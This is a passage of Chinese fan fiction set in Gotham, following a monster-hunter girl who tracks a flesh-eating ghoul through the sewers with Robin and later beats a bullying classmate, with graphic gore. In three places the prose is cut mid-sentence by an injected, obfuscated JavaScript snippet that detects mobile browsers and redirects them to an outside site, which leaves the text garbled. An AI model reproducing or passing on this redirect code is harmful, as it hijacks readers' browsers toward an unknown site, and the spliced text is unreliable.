猫头鹰的身高大概在一米六左右，从外形来看是个纤细的女孩子，手臂小腿上都没有夸张的肌肉，只是薄薄的一层，却蕴含无限的力量，比如单手抱和接近110斤左右的自己在哥谭的夜空飞来飞去却还是轻松自如。 斯蒂芬妮一直有在练习体操，也自认为身手敏捷，但是要达到猫头鹰表现出的水平还是需要一些训练。如果可以斯蒂芬妮想靠自己把那个不靠谱的爹送去坐牢。 对不起猫头鹰，把爸爸吊死在路灯上还是有点太超过了。 还是送他坐牢吧。 目送斯蒂芬妮带着自己找到的还没穿过的衣服进了浴室，索菲亚才想起另一个房间空置的房间只放了一套桌椅和自己的电脑，总不能让新来的小女孩抱着电脑睡桌子上吧。 紧张的在房间里踱步。 凌晨两点到底能在哪里搞出来一张床。 浴室门被拉开，同样湿漉漉的斯蒂芬妮抱着脏衣服走了出来。 “你有脏衣服要洗吗？” “等一下。”索菲亚一把把地上的制服捡了起来，一股脑塞进了洗衣机，听着金属在洗衣机的搅拌下发出叮叮当当的响声。 “这样不会洗坏吗？”斯蒂芬妮蹲在洗衣机前发出疑问。 “只有强者才配做我的制服。”索菲亚开口。 其实是谎言，只是单纯懒得自己洗罢了。 索菲亚环视一周，最后从衣柜里抱出来另一套厚被子铺在地板上，还拿出个长条的玩偶cos枕头。 “你先睡这里，明天我去买床。” 斯蒂芬妮欲言又止，眼神游离。 “还有别的问题吗？”索菲亚歪头思考，到底哪里做的不对。 “所以你的名字是？”终于吐出来问题的斯蒂芬妮脸颊涨的发红。 “索菲亚。”索菲亚坐在床上看着斯蒂芬妮“早点睡吧，晚安，斯蒂芬妮。” “晚安……”斯蒂芬妮躺下轻声念道“索菲亚”。 8. 第 8 章 众所周知，人在有事要做的时候，觉得世界都是明亮美好的，详情可参考凌晨就要截止的ddl，随着时间一步一步地逼近，脑子里不断响警钟，理智在不停的尖叫，咆哮着尖叫着赶due。而这个时候的一部分人会反其道而行之，平静的坐下来，烧一壶热水，为自己沏一杯茶，询问自己是不是忙于现实而忽略了美好的心灵世界。 在这时，窗外的花格外红草格外绿，天空变得愈发晴朗，空气变得更加香甜，就连手机里的弱智短视频都显得有趣了很多，几乎可以在一个个弱智的剧本表演者身上看到人性的光辉。 好不容易收起手机，用理智驱使自己前进，这时一块橡皮成了新的讨伐对象。被笔尖戳出一个个洞再试图连点成线，将橡皮的肢体彻底切割成不同几块，视情况确认对方的下场是大卸八块还是碎尸万段。 和斯蒂芬妮一起生活的几个小时美好的让人不敢想象，但是寻找食尸鬼的工作就过分无趣了。 在论坛里各种光怪陆离或真或假的故事里找特定属性的事物实在难上加难，大多数同时符合居住在隐藏河道和人类肢体品鉴师两个条件的帖子最后的指向往往是杀手鳄。 但是话又说回来，杀手鳄为什么不能是一种食尸鬼呢？ 等到索菲亚挂着黑眼圈上学的时候，困得睁不开眼的人多了一个。 索菲亚的好同桌难得也困得眼皮打架，一节课挣扎下来脖子几乎能练出肌肉来，点头的频率几乎超过在地上寻找食物的公鸡。 一连三节课皆是如此，就连索菲亚都睡醒了开始惊奇的看着同桌的表演。 “你半夜去偷牛了吗？那我没在牧场看到你。” 提姆没回答只是摇头，但依然没睁开眼睛，脱力的趴在桌子上。 “有点情况。” “你不会发现蝙蝠侠其实对小丑求而不得吧。” “怎么可能。” 提姆爬了起来，身上一向笔挺整齐的衬衫都显得有些皱皱巴巴，发尾处一缕黑发微微翘起。 “夜间行动有了些新发展，我只是需要一点时间平衡生活和爱好。” “那你有拍到新的蝙蝠侠照片吗？” “当然，你想看吗？”提姆抓了抓头发没忍住打了个哈欠“抱歉，让我找找。” 少年纤细的手指里递过来一张照片，照片里自然是一片漆黑的哥谭，但是在这片黑暗之中，黑披风尖耳朵的蝙蝠侠格外显眼。不知道为什么在蝙蝠侠出现的地方仿佛自带打光一样，勾勒出男人明显强壮有力的□□轮廓，有点像出场时自带灯光的舞台剧演员。 男人站在高楼边缘处，这处地方熟悉的过头，索菲亚还能记起那个位置不管什么时候都会出现的，像是在被十个人排队轮流打耳光的大风。 好消息是，如果有披风，披风会自动飘扬，显得非常好看。 坏消息自然是，利爪的制服真的没有披风，以及曾经尝试摘下面具喘口气的小猫头鹰在被大风狂扇两个耳光后乖乖的戴上了面具。 猫头鹰法庭这么配装备一定有它的道理。 总而言之，这是一张无论是打光还是构图都堪称完美的照片，绝对对得起德雷克天天手里端着的堪比冲锋枪的贵的吓人的相机。 “那你见到新罗宾了吗？最近真的好火，大家都在讨论他。” “那你是怎么看的呢？”提姆侧过头直视着黑发的少女，蓝色的眼睛里像是倒映了星星的的河流。 “他一定很聪明。”索菲亚没有移开视线，缓慢地对着提姆眨眼。“哥谭晚上还挺冷他会换长裤，一定是聪明小孩。” 少年捂着嘴轻笑双眼眯起，好一会才直起腰来。 “那确实很聪明了。那你呢索菲亚？你晚上还出门吗？” “当然。” 当然了，猎魔人怎么可能夜里不上班。猎魔人失去夜班就像鱼离开大海，基督教失去耶路撒冷，蝙蝠侠离开哥谭成为反派称王称霸，猫头鹰法庭宣布金盆洗手原地自首，简直是无稽之谈。 好消息是经过斯蒂芬妮夜以继日的筛选海量信息后终于找到了几个有点希望的信息。 论坛里的一个帖子声称自己在夜晚和朋友喝的酩酊大醉后，在经过包厘街的时候，遇到一个满身血腥味的和正常人体型差距不大的黑影正急匆匆的离开。发帖人当时喝的神志不清连脑子都快被吐出来，还是清醒后想起来这件插曲，在论坛发了个帖子询问自己是遇到了哪路反派。 不过这类没有明显抓马表演痕迹的小插曲大概率和在阿卡姆精神病院的各位类人生物相比显得有些束手束脚，更是有其他用户吐槽，哥们你这故事放在纽约都算睡前故事，还想在哥谭闯出名头，疯了吧。 但是在把时间扩大范围，在包厘街或多或少有些关于发现人民碎片和神秘黑影的传闻，不过在人杰地灵的哥谭市实在算不上什么稀奇。 另外一个值得关注的信息是GCPD发出的公告，最近陆续有人员失踪，目前为止失踪人数在7人以上，且大多数没有什么共同点，无论是性别，职业，种族还是居住地址都没办法成为突破口。不过在哥谭有人失踪不过是最正常不过的事，要不然成了帮派混战的牺牲品被扔进哥谭湾喂鱼要不然就被精准拆分通过国际物流送到世界各地发挥余温，就连警方都没有在这件事上投以过多的关注。 两者结合，索菲亚有理由怀疑包厘街的地下是不是有食尸鬼盘踞。 虽然不排除杀手鳄的可能，但最近前天杀手鳄刚刚被蝙蝠侠和罗宾暴打一顿后送回了黑门监狱，在两天内杀手鳄想要悄无声息的再次回到自己的地盘属实有些瞧不起蝙蝠侠了。 系统给出处理食尸鬼的任务一定有它的道理。 作为猎魔人出门就没必要把自己打扮成猫头鹰成精的样子，至少穿成刻板印象里的猎魔人被撞见最多会被认为是中二病发作的teenager，但如果穿成浑身是毛的大眼睛猫头鹰，很难不会被认为是要处理掉自己失败试验品的邪恶科学家。 无论如何，后者被蝙蝠侠撞见后挨一顿毒打的概率一定远超前者。 黑色的头发被扎成低马尾塞进短款披风的兜帽里，防止披散的头发在打斗时被人一顿狠薅。 这样虽然没有致命伤害但真的很痛。 短款披风还是在给斯蒂芬妮买新床的路上顺手带的，黑色的披风内侧是深蓝色的缎面，摸起来非常顺滑，即便是冬天也不用担心头发会因为和衣服摩擦产生静电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859235|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞得人天天遭受微型电击的折磨。 制服背后的两把刀连同刀鞘被拆了下来，其中一把被索菲亚出重金镀上一层银，方便对于食尸鬼发动特击。如果直接使用银制子弹进行攻击无疑是最快的方法，但从出生起就在持续接受冷兵器训练的杀手来讲，放弃过去所学转身去使用新型武器，实在是有些困难。 不过少女还是长了个心眼，把淘来的多米诺面具贴在了脸上，防止出现伴随着殴打和杀戮的大型认亲现场。 论坛上曾经发起过一个投票话题，包厘街和犯罪巷谁才是东区最混乱的地方。 包厘街聚集着眼神凶狠的可能把那本厚厚的法律条文都违反一遍的罪犯，也有因为债务失去所有或者被化学药剂麻痹了大脑彻底失去对生活的掌控无家可归的流浪汉，以及或被连累或是被自愿穿上暴露衣裙勾勒出性感线条依靠出卖色相的流莺。这群社会底层的在上流人士看来，和垃圾桶里的垃圾并无两样的渣滓使得这条街巷和地狱唯一的差距只是缺少硫磺的味道。 犯罪巷则是另一个极端，几十年前这里只是一条通往公园的小巷，韦恩将这座城市托举而起期待着家乡走向美好明天的时刻。直到一声枪响，一对善人夫妇的死亡给这座小巷冠以犯罪巷的名声，随之而来的是更多的暴力，强迫，不幸和杀戮。老鼠一样的人占据了这里，又或者这些老鼠原本距离成为人只差了一步之遥。 这个问题的答案不得而知，因为这个无聊透顶的投票还没来得及决出胜负就已经在互联网的海洋里消失不见。 毕竟谁会喜欢在老鼠洞和蟑螂窝里一定要挑选出好坏呢？ 随处可见的老鼠几乎连串的从鞋面爬过，窸窸窣窣的响声在有些空荡的小巷里显得格外清晰，来自手电筒的亮光在街巷扫过，所到之处老鼠四散而逃。黑色的鞋跟落在地面恰巧踩住了其中一只灰色的肥老鼠的尾巴，这畜生顷刻间便尖叫起来，使得鼠群如同无头苍蝇一样埋头乱撞。 索菲亚弯下腰用两根手指夹起老鼠的尾巴把这只硕鼠提了起来，微微歪头进行观察。 这只老鼠的身上沾上了血迹，这就是索菲亚偏偏选中它的原因。 这老鼠惊恐地扭动着肥硕的身体，并试图用尖利的牙齿啃咬少女脱困，被索菲亚拎着尾巴重重砸在了墙上才终于安静了下来。 在灯光下，索菲亚清晰的看到，除去血迹还有些人体组织的残留，比如一些人类皮肉的碎屑混合的已经发黑的血液凝固在老鼠的皮毛上，混在一团散发出腐臭的气味。 将口袋里的荧光粉末洒在老鼠身上，索菲亚刚一松手，这畜生便“嗖”的一声不见了踪影。 但是问题不大。 索菲亚关上手电筒，看到一道不规则的粉末状的线条发着微光延伸在小巷尽头，跟着前进几步，果然不出预料那只胖老鼠钻进了缺了半个井盖的下水道里。 少女做好心理准备，深吸一口气后掀开了剩下半个井盖确定好高度后一跃而下，轻轻地落在污水之中。 几分钟后，身穿红绿色制服的少年脱离了导师，落在了相同的地方，对着散发微光的线条和被打开井盖的下水道皱起了眉头。 “B，包厘街情况异常，我申请单独调查。” 9. 第 9 章 污水淹过鞋跟，水中还夹杂着各类说不清道不明的杂物，气味更是臭不可闻，垃圾的腐臭味混杂着排泄物的发酵后的酸味能给任何一个经过的人鼻子上仿佛挨了一拳的极致刺激。 索菲亚嗅到了这股气味，眉头紧皱，前进的步伐都快了不少，生怕多闻到一秒都会忍不住尖叫。 点燃随身携带的药草，一道微光照亮了少女四周的空间，也驱散了下水道内的异味，至少让人不用担心每口呼吸都仿佛看到太奶在眼前闪现。 即使如此，只通过气味就找到猎物还是强人所难，如果是使用了完整猎魔人药剂的猎魔人，或许可以通过嗅觉区分出混杂在一起的气味之中单独存在的血腥味。甚至于经验丰富的传统派猎魔人在不使用任何道具帮助的情况下，只使用自己嗅觉听觉和视觉就可以快速定位到猎物进行追捕。 更加不幸的是，索菲亚虽然拥有夜视的能力，但因为完全缺乏魔法天赋是个十足的麻瓜，直接通过魔力痕迹的残留追捕猎物也成了痴心妄想。 对于索菲亚这种只有在自身的力量，敏捷度，速度和恢复能力有所加强的半吊子来讲，也只能用半吊子以及纯粹的人类猎魔人会使用的方法，比如有特殊作用的草药和奇妙道具。 荧光粉末的痕迹一直沿着昏暗的下水道延伸，刚走没几步索菲亚还惊动了同样居住在此地的蝙蝠，黑压压的蝙蝠群从黑暗中席卷而来，直接冲着人面部而来。 索菲亚挥舞着被点燃的草药做成的火折子，驱散环绕在四周的蝙蝠，在擦肩而过时金色的瞳孔猛烈收缩。 几只蝙蝠的肢体上同样染上了血迹，比起老鼠身上的血迹，这些鲜血颜色更加鲜亮，显然是刚刚沾染不久。 老鼠身上的血迹大概率是一起啃食了受害者的□□，但是这些蝙蝠大多是植食类动物，不太会有以人类尸体为食的生活习惯，大概率是疑似食尸鬼的怪物捕捉到新的食物正在敞开了肚皮吃起了自助。 驱散掉蝙蝠，顺着痕迹索菲亚拐进一处死角，弯下腰就看到在被铁栅栏堵死的洞口。周边的墙体严重变形，栅栏的钢筋深深嵌入墙体，类似的痕迹在墙面上不止一道，应该有什么东西多次用蛮力把栅栏生生拔了下来再重新装回去。 这里大概率就是‘食尸鬼’为自己准备的储备粮所在地。 索菲亚蹲下身子，用带着战术手套的手抓紧栅栏，先略微施力确认接下来施力的方向和力度大小，便猝然发力调动起全身的力气，墙体再次受到重传簌簌落灰，几块零星的石块砸在地面好在没有坍塌。 阻隔物被少女顺势扔到了身后，重重地砸在污水里炸鱼一样炸出好几只埋在水中的老鼠尸体。 索菲亚没有分出精力去看，顺着管道钻了进去。 没走几步，浓烈的血腥味几乎绑架了人的鼻子，□□腐烂的气味更加嚣张，让索菲亚眼前几乎能浮现出肢体遍地的血腥场面。管道的尽头没有被封上，索菲亚还没钻出洞口就看到了地面的惨剧。 已经死去的，正在死去的，尚有意识的□□还在潮湿的地面挣扎，一具骨头架子上还带着没啃干净的肉沫，另一具尸体被打开了腹腔吃空了内脏，还有眼皮干瘪的尸体张大了嘴似乎想要求救但只能让人看到只剩下半根的舌根。 还有几件被泡在鲜血里褶皱严重看不出形体的布条，碎花的图样似乎是件裙子，隐约看得出深蓝色的布料似乎来自于一位男士的衬衫，还有几块零零散散的牛仔裤的料子就这样吸满了血水永远沉浸在哥谭的地下。 这些画面证据无不证明最后的罪魁祸首是一个狡猾的有一定智慧的无法控制食欲的食尸鬼。 索菲亚爬出洞口，并没有找到食尸鬼的痕迹，便只能翻找受害者企图找到还幸存的人。 痛苦是唯一刻在这些人脸上的表情，惊恐，悲伤，愤怒全都随着□□的啃食和生命力一起从这个地方流失。翻开被恶趣味猎食者叠在一起的尸体，层层叠叠之中一位女性的身体下压着一个孩子。 女性从背后遭到啃咬，露出肩膀处的骨头，连后脖颈处也留下了怪物坑坑洼洼的齿痕，而她身下的孩子似乎还有微弱的呼吸声。 等等，那个孩子还活着。 索菲亚内心说着抱歉就将女人翻了过来，将孩子从早已僵硬的手臂中拖了出来。 食尸鬼拥有过多的食物，因而并不在乎食物的死活。而这个孩子在被吃了大腿后就被扔到一旁弃之不顾，而那位女性在临死前似乎看到了这个孩子因而决定将孩子藏在身下。 又或许一切只是索菲亚的幻想，食尸鬼只是恰好将一个食物乱扔后恰好盖在了另一个没有吃干净的食物之上。 但索菲亚还是愿意相信前者，即使在哥谭这样的故事有些天方夜谭。 用手指在孩子的颈侧微微下压确定存活，索菲亚在口袋里好不容易找出一颗巧克力剥去包装塞进孩子口中。 “别害怕，我们马上就离开了。” 幸存的孩子大概在刚上小学的年纪，一头黑色短发满是血污，身上穿的衣服不知了踪影，估计被撕碎后不知道丢在了什么地方。左腿被啃咬的尤其严重，露出了森森白骨，根据经验来讲大概率需要截肢治疗。 将孩子背在身后索菲亚重新钻过管道，走过的路线清晰的刻在大脑里，索菲亚使尽浑身力气奔跑。 此时食尸鬼已经不重要了，至少先把这个还能活下去的孩子送出去。 “需要帮忙吗？” 在一个拐角处，红绿配色的带着多米诺面具的少年朝索菲亚举起了手。 “我没有恶意，我可以帮这个孩子。” 索菲亚停了下来，回忆起面前的人正是蝙蝠侠最近风头正盛的小助手——罗宾，少年义警的名声再怎么样也比猫头鹰杀手和猎魔人也好得多，把孩子交给他总比自己盲目的求助好得多。 “他的腿很危险，可能需要截肢，要尽快。” 索菲亚将身后的小孩从自己背上移到罗宾身上，少年调整好姿势，朝索菲亚点头示意就用钩爪枪向外界飞去。 “B，包厘街下水管道发现受伤儿童……” 索菲亚看着罗宾抱着孩子离开长出一口气，重新返回了发现尸体的地方。 刚刚暂时离开时索菲亚注意到管道周围没有留下怪物的痕迹，说明食尸鬼并非是沿着索菲亚前进的方向行动的，那就说明在那个满是尸体的房间一定有食尸鬼真正使用的通往其他方向的大门。 沿着墙壁重新探索，手指几乎摸过墙面的每一寸，终于其中一块墙面中透出了微风，按照常识来说这就说明墙面背后一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859236|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有通道。曲起手指拿关节敲了敲，果然传来的是空木板的声音。 索菲亚后退一步，拿出自己的长刀轻而易举地劈开了木板。 心情沉重的像吃了秤砣的少女实在无心找隐藏机关，只是恨不得把这杀千刀的食尸鬼吊死在滴水兽上让人参观。 刚刚进入新通道一如既往的血腥味扑面而来，地面有被拖拽留下的血痕一直延续到黑暗尽头。少女手持长刀一路向前，终于心满意足的听到了食尸鬼的怒吼声。 对了，就是这样。 在通道的尽头是一个平台，平台下是正将猎物拖拽而来的裸露着皮肤，肢体溃烂的食尸鬼。 食尸鬼的体型堪称壮硕，两米多高的身高，没有皮肤没有毛发，浑身上下一身青紫，混杂着血色的肌肉还在跳动，青筋清晰可见，手指异化成尖锐的利爪，指尖还残留着受害者挣扎时留下的人体组织。 索菲亚刚刚出现，就看到了食尸鬼也随着声音抬头。 好消息是，食尸鬼是天生的瞎子，大多数时候靠声音辨别猎物的方向，对于擅长隐藏的刺客来说实在是专业对口。 索菲亚利用钩爪枪转移至食尸鬼身后的位置，点燃了第二簇草药，燃烧而来的烟味并不得怪物喜欢，狠狠刺激了食尸鬼向四周攻击。 在食人的怪物完全将后背暴露出来的时候，索菲亚高高跃起用银剑劈开食尸鬼的脖颈。 预想中食尸鬼手起刀落的画面并没有出现，关键时刻这怪物偏移了方向，银剑被卡在了肩膀之间，随着怪物的动作向四周横扫。 索菲亚向后跳起，寻找着再次近身收回银剑的时机，同时用另一把长刀向怪物的四肢，关节砍去。 “小心。”身后传来一声惊喝，紧接着红色的R形状的飞镖直击怪物面门，炸裂开来，怪物怒吼一声，后退几步。 索菲亚意识过来，顺势收回了银剑，罗宾也落在身旁。 “所以包厘街的失踪案是因为他？” “对，喜欢吃舌尖上的美国人的食尸鬼，皮糙肉厚一般武器还没办法破防。”索菲亚顿了顿“银制品一般有用，但镀银的剑还是太软了一旦卡到骨头里就很麻烦。” “我去吸引他的注意，你找机会制服他，如何？” 话音刚落，罗宾便用钩爪枪到了高处，用会爆炸的罗宾镖吸引怪物的注意，迫使怪物露出容易致死的部位——脖颈和心脏。 索菲亚同样在地面周旋，终于找准机会在用长刀贯穿怪物心脏时松开手，两手一起抓紧银剑向食尸鬼的颈侧劈砍而去。 随着“砰”地一声，落在地上的先是光秃秃没一根毛发的脑袋，其次才是庞大的满是脏污和爆炸痕迹的身体，在怪物失去意识前，脑袋上的眼睛还疑惑的眨了眨不敢相信为什么会看到自己的身体。 不到十秒，食尸鬼的肢体便化成一滩灰尘。 罗宾再次跳了下来对着灰尘拿腰带里的试管取了样本。 “所以你是外来的魔法师？我不记得魔法师还有猎杀怪物的工作。” “不完全是。”索菲亚理了理兜帽下的头发，晃了晃有些发晕的脑袋“准确来说我是个猎魔人，你可以叫我索菲亚。” 戴着面具的少年扬起嘴角。 “你好索菲亚，我是罗宾。” 10. 第 10 章 索菲亚.布兰登，哥谭中学学生，在六个小时前还是现任罗宾提姆.德雷克普普通通可能有点奇怪的好同桌，虽然黑发少女身上带了不少秘密，例如从未出现过的家长，在夜晚时突然被使用出来的魔法以及昨晚在怪物巢穴里与怪物搏斗的身影。 还在实习期的未得到导师同意就独自冒险直面未知怪物的年轻义警收了批评，未来一周都只能待在蝙蝠洞里做些后勤工作，少年像是打了霜的白菜蔫蔫巴巴的失去了生机。 之前没写完的报告都得整理好发给蝙蝠侠过目，下水道的新型怪物的报告更是重中之重。好在远在布鲁德海文的夜翼听闻新弟弟的经历，请了假骑着摩托就回了韦恩庄园。 “所以你是说你遇到了新的怪物？” 黑发的青年还没摘掉面具，穿着黑蓝相间的紧身衣反坐在椅子上，下巴靠在椅背上和自己的继任者聊天。 “体型大致在两米左右，非常健壮，体表没有皮肤，肌肉直接裸露出来。力气很大，但智慧不高，战斗时的牵制难度不算大。” “我和B重新去调查了那些尸体，能认出身份的大概有十人左右，剩下的尸体进行dna比对后基本上也匹配了身份。”夜翼补充道。 “从骨骼情况判断，最初怪物的食物来源是掉进下水道的行人，在将这几位零星的受害者吃干抹净后不久，怪物开始自主寻找食物，而这时被丢下来的往往是被处理掉的尸体。” “怪物越吃越多助长了胆子，就像是野外吃了人的狮子会意识到人是最好捕获的猎物，从而将捕食对象全部切换成了人。” “这时怪物开始尝试顺着管道将落单的人拖下，在这个过程里受害者首先就会因为从高空坠落摔伤失去一大半行动能力，更是无法自卫。” “那个被救出来的孩子怎么样了？”提姆抬头望向夜翼。 “腿在废水里泡了太久没有办法只能截肢，但好在那孩子的命保住了。”青年拿出手机向提姆展示照片“布鲁斯代表韦恩集团对这个孩子进行了捐助，并承诺会承担所有的医疗费用。” 照片里，钢蓝色眼睛的英俊男人抚摸着已经醒过来的孩子毛茸茸的脑袋，提姆这才发现这孩子原来有双棕色的蜜糖一样的眼睛。 “他的父亲早早入狱在牢里死于火并，母亲在他失踪后魂不守舍一直在寻找他，好在他还活着，他的母亲不至于丧失生活的希望。” “谢谢你，迪克。”难得听到好消息，花费过多精力此时有些疲惫的提姆露出一个微笑。 “B可能有些过于严厉，但是杰森的事之后……你知道的，他太害怕会有另一个孩子走入不幸。” 迪克的眼神中的遗憾和悲伤几乎溢出眼眶，顺着迪克的眼神提姆看到了身后放置在展示柜里的沾满了鲜血的罗宾制服。 就在几个月前，布鲁斯失去了他的儿子，同时蝙蝠侠也失去了他的小助手前任罗宾——杰森.陶德。少年中了小丑的圈套，在距离家乡千里之外的埃塞俄比亚永远的闭上了双眼。 蝙蝠侠赶到时只看到了雪地里的吞噬一切的火焰和少年失去了生机的尸体。 那是一个错误，一个让蝙蝠侠永远失去儿子的错误，一个让一对相爱的父子被迫天人永隔的错误。 接下来发生的事就连提姆也有所耳闻。 险些在联合国面前杀死小丑被超人阻止了蝙蝠侠，回到哥谭后愈发颓废愤怒，几乎数次要越过界限的蝙蝠侠，行走在善恶边缘即将失衡的蝙蝠侠。 也是这样，提姆才决定迈出成为罗宾的那一步。 不过关于金瞳少女出现的记录少年并没有记录在报告中，索菲亚身上有着太多的谜团，无论是魔法还是未知怪物的熟悉程度都让少年难以控制自身的探索欲，或许是一点点的私心，少年希望自己能够解开少女身上的谜团。 但是，提姆总是觉得自己似乎忽视了什么重要的东西。 “所以你的意思是下周要交报告了，你现在数据分析一点都没做是吗？”好不容易结束义警工作的少年几乎绷不住脸上的表情。 学校，是的，该死的小组作业。 哦，对不起阿福，我不该说脏话。 但是从没预料到的突发状况还是让少年难以维持自己从小被培养出的良好礼仪。 詹姆斯.哈里森，提姆从中学一年级就在一个班的同学，这位同学算不上优秀，但沉迷于向同班的女同学散发自身魅力，具体的行为可以表现为对着班上的女生指指点点。 骨架较大的大码姑娘玛琳被他嘲笑成肥猪，有雀斑的姑娘玛利亚被说满脸麻子，漂亮活泼的啦啦队队长蒂娜被他各种暗示性生活丰富，喜好田径运动的萨拉被他蛐蛐男人婆。 不光是自己口嗨，这人还纠结了一帮臭味相投的男生自称是男人帮，说是要给全学校的女生按照长相性格打分选最佳女友。 因而班上的女生都把这人当阴沟里的老鼠，恨不得拿开水烫死最好。 离谱的行为让提姆很难相信自己和对方竟然都是人类，实在让人感慨人类物种的多样性。 也是这位自诩魅力十足的同学这次不巧分到了提姆的小组，这位同学虽然私德有问题但是对待学业也算的上及格水平，却没想到提姆只是一周时间没有催促进度就被詹姆斯整了个大活。 詹姆斯不知道时间都拿去做了什么，最后草草交上来一份四处拼凑而来的充满语法错误的半成品报告，最可怕的是不用过一遍ai检测和查重提姆也能看到满是标红的画面。 “我没办法用你的数据詹姆斯，你就用一份垃圾敷衍我们吗？”负责最后收尾工作的蒂娜不可置信的尖叫出声，眼眶下淡淡的青色表现了少女严重不足的睡眠状况。“我最开始担心索菲亚交不上作业，但是连她都提前交上了保质保量的报告，你在做什么？” “闭嘴吧骚货，我用不着你来管。”詹姆斯上下打量着蒂娜发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859237|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不屑的笑。 “请你放尊重些詹姆斯，蒂娜没做错什么，错的是你。这次小组作业涉及这门课的得分，大家都很需要这门课的成绩。我随时可以向科里森先生报告取消你的名字。” “用得着你来管德雷克，也是你就是个小白脸，男生都不愿意带你做作业所以你才只能和女生一起，怎么布兰登和麦恩聚在一起舔你的——” “我说了闭嘴，对女生放尊重些。”少年双手握拳，努力思考怎么给家长解释和同学打成一团的事实。 更快的是索菲亚，少女风一样从提姆身边一闪而过，下一秒拳头就砸在詹姆斯那张讨人厌的脸上。 “不说话没人把你当哑巴狗杂种。” 詹姆斯愣了一下才想起举起拳头反击，还没来得及挥出拳头脸上便又结结实实挨了一拳。 “打得好，索菲亚。”蒂娜在一旁欢呼雀跃做起了啦啦队的老本行。 詹姆斯被打的头脑发懵，一把就要抓住少女的衣袖，反而被少女一闪而过，接着向脑袋袭来的是被少女一把抄起的椅子。 “哐——” 詹姆斯摇晃两下，倒在了地上再起不能，似乎有什么液体顺着脑门流下，胡乱擦了两下只看到被染红的袖子。 “够了，够了索菲亚别打了。”提姆上前来抓住了同桌的手腕，把椅子拿了下来。“我没有恶意詹姆斯，我只想说明情况，但你这样不分青红皂白的羞辱他人我会如实报告。” “废物。”索菲亚探出脑袋骂了一句。 少年崩溃的将桌的脑袋按回去“少说两句吧，索菲亚。” “索菲亚你好棒，我能叫你索菲亚吗？我早就想打他了，你真的好棒啊。” “你也闭嘴蒂娜。” “科里森先生，我和蒂娜都可以证明是詹姆斯在理论过程中先进行语言攻击然后索菲亚才反击的，她没有什么恶意只是有点生气。” “我没有生……” “对的科里森先生，索菲亚很生气我和德雷克被语言侮辱，我们是很好的朋友，所以她才会生气，对吧？”蒂娜伸手死死捂住索菲亚的嘴，露出一个开朗的微笑。 “但是布兰登小姐的行为还是太过分了，再怎么样也不能打烂同学的脑袋啊。”科里森先生推了推下落的眼镜开口道。 “她下次不会了，我保证，索菲亚是乖孩子的，一直不主动惹事。”蒂娜抱住索菲亚向提姆抛了个眼神示意，得到眼神的提姆同样点头示意。 “是的科里森先生，我们会看好她的。” “唉——”科里森先生叹气“既然德雷克先生和麦恩小姐都愿意给索菲亚担保，我愿意从轻处罚索菲亚，但是先生女士们伤害他人是不能被轻轻揭过的，索菲亚小姐将获得两周的停课惩罚。你们明白了吗？” 几个少年点了点头，在身后蒂娜牵住了索菲亚的手，在手心写了个OK。索菲亚抬起头，正好看到蒂娜满是活力的笑容。 11. 第 11 章 “所以你之后半个月都在家？”金发的姑娘往嘴里塞着披萨嚼个不停。“那个被打的家伙怎么样了？你不会还要出钱赔偿吧。” “有点复杂，我慢慢讲。” 刚刚到家的索菲亚顺手关上门，脱下外套扔在地板上又换了拖鞋才去客厅空着的沙发上趴着。 出门的路上遇上小雨，没能像瓢泼大雨一样给人浇个透心凉，空气加湿器一样的水雾打在身上算不上讨厌，总比前几天闷闷沉沉像是被用塑料袋蒙着脑袋一样且空气里布满灰尘的时候好得多。 詹姆斯在被打了一顿后的当天没有发作，索菲亚也暂时留在学校等待处罚结果。 而第二天詹姆斯叫来了他爸——一个瘦瘦高高的眼神里满是算计和鄙夷，鬣狗一样让人不舒服的成年人，吊三角一样的眼睛在三个人身上四处打量，嘴角扯出来的不情不愿的笑容里似乎藏了把生锈的刀子。 提姆的爸妈是德雷克公司的老板，蒂娜的爸爸在政府工作同样算不上好惹，最后算下来父母双亡监护人一栏只写了姐姐名字的索菲亚成了那个最好捏的软柿子。 亚裔，沉默寡言，身材与同龄人相比较为矮小的女孩，这些标签使得在那位成年版詹姆斯眼里，索菲亚只是缩在墙角瑟瑟发抖的缺乏社会经验的小丫头罢了。 当然索菲亚并不认为自己矮小，一米六的身高搭配一百一十斤的体重正好适配猎魔人的工作，虽然没正式做过利爪的工作但按照审判庭的标准，这个体型做暗杀工作简直完美。 “布兰登小姐，哦你在这里。我不希望在场的诸位给我打上欺负弱小的标签，但是你在教室里打伤了詹姆斯对吗？” 索菲亚没有回话，眼神一直跟随着一只嗡嗡作响的苍蝇在房间里移动。 